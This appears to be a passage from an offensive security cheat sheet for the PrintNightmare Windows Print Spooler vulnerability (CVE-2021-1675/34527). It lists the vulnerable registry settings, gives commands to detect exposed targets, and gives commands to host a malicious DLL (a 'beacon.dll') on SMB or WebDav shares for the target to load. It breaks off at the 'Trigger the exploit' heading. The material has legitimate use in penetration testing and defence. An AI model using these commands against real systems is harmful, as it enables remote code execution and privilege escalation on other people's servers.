PrintNightmare

CVE-2021-1675 / CVE-2021-34527

The DLL will be stored in C:\Windows\System32\spool\drivers\x64\3\. The exploit will execute the DLL either from the local filesystem or a remote share.

Requirements:

  • Spooler Service enabled (Mandatory)
  • Server with patches < June 2021
  • DC with Pre Windows 2000 Compatibility group
  • Server with registry key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall = (DWORD) 1
  • Server with registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = (DWORD) 0

Detect the vulnerability:

  • Impacket - rpcdump
    python3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR'
    Protocol: [MS-RPRN]: Print System Remote Protocol
    
  • It Was All A Dream
    git clone https://github.com/byt3bl33d3r/ItWasAllADream
    cd ItWasAllADream && poetry install && poetry shell
    itwasalladream -u user -p Password123 -d domain 10.10.10.10/24
    docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10
    

Payload Hosting:

  • The payload can be hosted on Impacket SMB server since PR #1109:
python3 ./smbserver.py share /tmp/smb/
Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable
SharpWebServer.exe port=8888 dir=c:\users\public verbose=true

When using WebDav instead of SMB, you must add @[PORT] to the hostname in the URI, e.g.: \\172.16.1.5@8888\Downloads\beacon.dll WebDav client must be activated on exploited target. By default it is not activated on Windows workstations (you have to net start webclient) and it's not installed on servers. Here is how to detect activated webdav:

cme smb -u user -p password -d domain.local -M webdav [TARGET]

Trigger the exploit:
